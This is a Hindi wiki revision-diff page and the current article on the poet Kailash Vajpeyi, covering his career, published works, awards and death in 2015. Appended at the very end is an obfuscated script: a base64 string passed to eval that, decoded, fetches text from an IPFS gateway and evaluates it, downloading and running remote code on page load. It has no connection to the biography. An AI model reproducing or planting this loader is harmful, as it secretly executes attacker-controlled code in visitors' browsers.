"कैलाश वाजपेयी": अवतरणों में अंतर
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "संन्यास" to "सन्न्यास") |
No edit summary |
||
(2 सदस्यों द्वारा किए गए बीच के 4 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 8: | पंक्ति 8: | ||
|मृत्यु=[[1 अप्रॅल]], [[2015]] | |मृत्यु=[[1 अप्रॅल]], [[2015]] | ||
|मृत्यु स्थान=[[दिल्ली]] | |मृत्यु स्थान=[[दिल्ली]] | ||
| | |अभिभावक= | ||
|पालक माता-पिता= | |पालक माता-पिता= | ||
|पति/पत्नी=डॉ. रूपा वाजपेयी | |पति/पत्नी=डॉ. रूपा वाजपेयी | ||
पंक्ति 34: | पंक्ति 34: | ||
'''कैलाश वाजपेयी''' ([[अंग्रेज़ी]]: ''Kailash Vajpeyi'', जन्म: [[11 नवंबर]], [[1936]] - मृत्यु: [[1 अप्रॅल]], [[2015]]) [[हिन्दी]] के सुप्रसिद्ध साहित्यकार थे। उन्हें [[साहित्य अकादमी]] सहित कई सम्मानों से नवाजा जा चुका है। कैलाश वाजपेयी दैनिक [[समाचार पत्र]] [[अमर उजाला]] के लिए कॉलम भी लिखते थे। वह ‘दार्शनिक मिजाज’ के कवि थे, जिन पर भारतीय अद्वैतवाद और बौद्धदर्शन का गहरा प्रभाव लक्षित किया जा सकता है। उन्होंने [[कविता]] के शिल्प में भी परिवर्तन किया था। उनकी [[कविता|कविताओं]] के [[अनुवाद]] कई भाषाओं में हुए हैं। उन्होंने अंतरराष्ट्रीय मंचों पर भी कविताएं प्रस्तुत की थीं। | '''कैलाश वाजपेयी''' ([[अंग्रेज़ी]]: ''Kailash Vajpeyi'', जन्म: [[11 नवंबर]], [[1936]] - मृत्यु: [[1 अप्रॅल]], [[2015]]) [[हिन्दी]] के सुप्रसिद्ध साहित्यकार थे। उन्हें [[साहित्य अकादमी]] सहित कई सम्मानों से नवाजा जा चुका है। कैलाश वाजपेयी दैनिक [[समाचार पत्र]] [[अमर उजाला]] के लिए कॉलम भी लिखते थे। वह ‘दार्शनिक मिजाज’ के कवि थे, जिन पर भारतीय अद्वैतवाद और बौद्धदर्शन का गहरा प्रभाव लक्षित किया जा सकता है। उन्होंने [[कविता]] के शिल्प में भी परिवर्तन किया था। उनकी [[कविता|कविताओं]] के [[अनुवाद]] कई भाषाओं में हुए हैं। उन्होंने अंतरराष्ट्रीय मंचों पर भी कविताएं प्रस्तुत की थीं। | ||
==जीवन परिचय== | ==जीवन परिचय== | ||
डॉ. कैलाश वाजपेयी का जन्म 11 नवंबर 1936 में [[उत्तर प्रदेश]] के हमीरपुर में हुआ था। उन्होंने [[लखनऊ विश्वविद्यालय]] से वाचस्पति की उपाधि हासिल की और कई पत्र-पत्रिकाओं से जुड़े रहे। [[दिल्ली विश्वविद्यालय]] के शिवाजी कॉलेज में भी उन्होंने अध्यापन किया और [[2004]] में | डॉ. कैलाश वाजपेयी का जन्म 11 नवंबर 1936 में [[उत्तर प्रदेश]] के हमीरपुर में हुआ था। उन्होंने [[लखनऊ विश्वविद्यालय]] से वाचस्पति की उपाधि हासिल की और कई पत्र-पत्रिकाओं से जुड़े रहे। [[दिल्ली विश्वविद्यालय]] के शिवाजी कॉलेज में भी उन्होंने अध्यापन किया और [[2004]] में सेवानिवृत्त हुए। काव्य संग्रह 'हवा में हस्ताक्षर' पर उन्हें 2009 में साहित्य अकादमी पुरस्कार दिया गया था। वर्ष 2008 से 2013 तक [[साहित्य अकादमी]] की सामान्य परिषद के सदस्य भी रहे। उनकी प्रसिद्ध कृतियां संक्रांत, तीसरा अंधेरा, महास्वप्न का समंदर, सूफीनामा, पृथ्वी का कृष्णपक्ष हैं। [[भारतीय संस्कृति]] के मर्मज्ञ और [[कवि]] के रूप में उनकी ख्याति अधिक थी। दिल्ली दूरदर्शन के लिए उन्होंने [[कबीर]], [[स्वामी हरिदास|हरिदास स्वामी]], [[सूरदास]], [[जे. कृष्णमूर्ति]], [[रामकृष्ण परमहंस]] और [[बुद्ध]] के जीवन-दर्शन पर फ़िल्में बनाईं। वह दूरदर्शन की हिंदी सलाहकार समिति के सदस्य भी रहे। उन्होंने [[1960]] में टाइम्स ऑफ इण्डिया प्रकाशन संस्थान द्वारा [[मुम्बई]] में नौकरी भी की। | ||
==प्रकाशित कृतियाँ== | ==प्रकाशित कृतियाँ== | ||
{| class="bharattable-pink" | {| class="bharattable-pink" | ||
पंक्ति 69: | पंक्ति 69: | ||
* एन एंथालिजि ऑफ़ माडर्न हिंदी पोएट्री (1996) | * एन एंथालिजि ऑफ़ माडर्न हिंदी पोएट्री (1996) | ||
; नाटक | ; नाटक | ||
* युवा | * युवा संन्यासी, विवेकानन्द – 1991 सार : आख्यायिकाएँ (1994) | ||
; प्रबंध काव्य | ; प्रबंध काव्य | ||
* पृथ्वी का कृष्णपक्ष (1995) | * पृथ्वी का कृष्णपक्ष (1995) | ||
पंक्ति 78: | पंक्ति 78: | ||
* [[2002]] में [[व्यास सम्मान]] | * [[2002]] में [[व्यास सम्मान]] | ||
* [[2005]] में ह्यूमन केयर ट्रस्ट अवॉर्ड | * [[2005]] में ह्यूमन केयर ट्रस्ट अवॉर्ड | ||
* [[2009]] में 'हवा में हस्ताक्षर' के लिए [[साहित्य अकादमी पुरस्कार हिन्दी| | * [[2009]] में 'हवा में हस्ताक्षर' के लिए [[साहित्य अकादमी पुरस्कार हिन्दी|साहित्य अकादमी पुरस्कार]] | ||
==निधन== | ==निधन== | ||
[[हिन्दी]] के वयोवृद्ध साहित्यकार डॉ. कैलाश वाजपेयी का [[बुधवार]] [[1 अप्रॅल]], [[2015]] को एक निजी अस्पताल में हृदयाघात से निधन हो गया। वह 79 वर्ष के थे। उनके [[परिवार]] में पत्नी डॉ. रूपा वाजपेयी और पुत्री अनन्या वाजपेयी हैं। डॉ. कैलाश वाजपेयी के निधन पर [[साहित्य अकादमी]] के अध्यक्ष विश्वनाथ प्रसाद तिवारी सहित साहित्य | [[हिन्दी]] के वयोवृद्ध साहित्यकार डॉ. कैलाश वाजपेयी का [[बुधवार]] [[1 अप्रॅल]], [[2015]] को एक निजी अस्पताल में हृदयाघात से निधन हो गया। वह 79 वर्ष के थे। उनके [[परिवार]] में पत्नी डॉ. रूपा वाजपेयी और पुत्री अनन्या वाजपेयी हैं। डॉ. कैलाश वाजपेयी के निधन पर [[साहित्य अकादमी]] के अध्यक्ष विश्वनाथ प्रसाद तिवारी सहित साहित्य जगत् की तमाम मशहूर हस्तियों ने शोक व्यक्त किया है। साहित्य अकादमी के अध्यक्ष विश्वनाथ प्रसाद तिवारी ने कहा कि हिंदी के वरिष्ठ और प्रतिष्ठित कवि कैलाश वाजपेयी के निधन से हिंदी कविता को गंभीर क्षति हुई है। | ||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }} | ||
पंक्ति 92: | पंक्ति 91: | ||
{{साहित्यकार}}{{भारत के कवि}} | {{साहित्यकार}}{{भारत के कवि}} | ||
[[Category:साहित्य अकादमी पुरस्कार]] | [[Category:साहित्य अकादमी पुरस्कार]] | ||
[[Category:कवि]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:साहित्यकार]] [[Category:साहित्य कोश]][[Category:आधुनिक साहित्यकार]][[Category:आधुनिक कवि]] | [[Category:कवि]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:साहित्यकार]][[Category:व्यास सम्मान]][[Category:साहित्य कोश]][[Category:आधुनिक साहित्यकार]][[Category:आधुनिक कवि]] | ||
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
07:03, 11 सितम्बर 2021 के समय का अवतरण
कैलाश वाजपेयी
| |
पूरा नाम | कैलाश वाजपेयी |
जन्म | 11 नवंबर, 1936 |
जन्म भूमि | हमीरपुर, उत्तर प्रदेश |
मृत्यु | 1 अप्रॅल, 2015 |
मृत्यु स्थान | दिल्ली |
पति/पत्नी | डॉ. रूपा वाजपेयी |
संतान | पुत्री- अनन्या वाजपेयी |
कर्म-क्षेत्र | कवि, लेखक, अध्यापक, सम्पादक |
मुख्य रचनाएँ | संक्रांत, तीसरा अंधेरा, महास्वप्न का समंदर, सूफीनामा, पृथ्वी का कृष्णपक्ष आदि |
भाषा | हिन्दी, अंग्रेज़ी |
विद्यालय | लखनऊ विश्वविद्यालय |
शिक्षा | पी.एचडी |
पुरस्कार-उपाधि | साहित्य अकादमी पुरस्कार, व्यास सम्मान, हिंदी अकादमी सम्मान |
नागरिकता | भारतीय |
अन्य जानकारी | दिल्ली दूरदर्शन के लिए कैलाश वाजपेयी ने कबीर, हरिदास स्वामी, सूरदास, जे. कृष्णमूर्ति, रामकृष्ण परमहंस और बुद्ध के जीवन-दर्शन पर फ़िल्में बनाईं। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
कैलाश वाजपेयी (अंग्रेज़ी: Kailash Vajpeyi, जन्म: 11 नवंबर, 1936 - मृत्यु: 1 अप्रॅल, 2015) हिन्दी के सुप्रसिद्ध साहित्यकार थे। उन्हें साहित्य अकादमी सहित कई सम्मानों से नवाजा जा चुका है। कैलाश वाजपेयी दैनिक समाचार पत्र अमर उजाला के लिए कॉलम भी लिखते थे। वह ‘दार्शनिक मिजाज’ के कवि थे, जिन पर भारतीय अद्वैतवाद और बौद्धदर्शन का गहरा प्रभाव लक्षित किया जा सकता है। उन्होंने कविता के शिल्प में भी परिवर्तन किया था। उनकी कविताओं के अनुवाद कई भाषाओं में हुए हैं। उन्होंने अंतरराष्ट्रीय मंचों पर भी कविताएं प्रस्तुत की थीं।
जीवन परिचय
डॉ. कैलाश वाजपेयी का जन्म 11 नवंबर 1936 में उत्तर प्रदेश के हमीरपुर में हुआ था। उन्होंने लखनऊ विश्वविद्यालय से वाचस्पति की उपाधि हासिल की और कई पत्र-पत्रिकाओं से जुड़े रहे। दिल्ली विश्वविद्यालय के शिवाजी कॉलेज में भी उन्होंने अध्यापन किया और 2004 में सेवानिवृत्त हुए। काव्य संग्रह 'हवा में हस्ताक्षर' पर उन्हें 2009 में साहित्य अकादमी पुरस्कार दिया गया था। वर्ष 2008 से 2013 तक साहित्य अकादमी की सामान्य परिषद के सदस्य भी रहे। उनकी प्रसिद्ध कृतियां संक्रांत, तीसरा अंधेरा, महास्वप्न का समंदर, सूफीनामा, पृथ्वी का कृष्णपक्ष हैं। भारतीय संस्कृति के मर्मज्ञ और कवि के रूप में उनकी ख्याति अधिक थी। दिल्ली दूरदर्शन के लिए उन्होंने कबीर, हरिदास स्वामी, सूरदास, जे. कृष्णमूर्ति, रामकृष्ण परमहंस और बुद्ध के जीवन-दर्शन पर फ़िल्में बनाईं। वह दूरदर्शन की हिंदी सलाहकार समिति के सदस्य भी रहे। उन्होंने 1960 में टाइम्स ऑफ इण्डिया प्रकाशन संस्थान द्वारा मुम्बई में नौकरी भी की।
प्रकाशित कृतियाँ
|
|
|
सम्मान और पुरस्कार
- 1995 में हिंदी अकादमी सम्मान
- 2000 में एसएस मिलेनियम अवॉर्ड
- 2002 में व्यास सम्मान
- 2005 में ह्यूमन केयर ट्रस्ट अवॉर्ड
- 2009 में 'हवा में हस्ताक्षर' के लिए साहित्य अकादमी पुरस्कार
निधन
हिन्दी के वयोवृद्ध साहित्यकार डॉ. कैलाश वाजपेयी का बुधवार 1 अप्रॅल, 2015 को एक निजी अस्पताल में हृदयाघात से निधन हो गया। वह 79 वर्ष के थे। उनके परिवार में पत्नी डॉ. रूपा वाजपेयी और पुत्री अनन्या वाजपेयी हैं। डॉ. कैलाश वाजपेयी के निधन पर साहित्य अकादमी के अध्यक्ष विश्वनाथ प्रसाद तिवारी सहित साहित्य जगत् की तमाम मशहूर हस्तियों ने शोक व्यक्त किया है। साहित्य अकादमी के अध्यक्ष विश्वनाथ प्रसाद तिवारी ने कहा कि हिंदी के वरिष्ठ और प्रतिष्ठित कवि कैलाश वाजपेयी के निधन से हिंदी कविता को गंभीर क्षति हुई है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>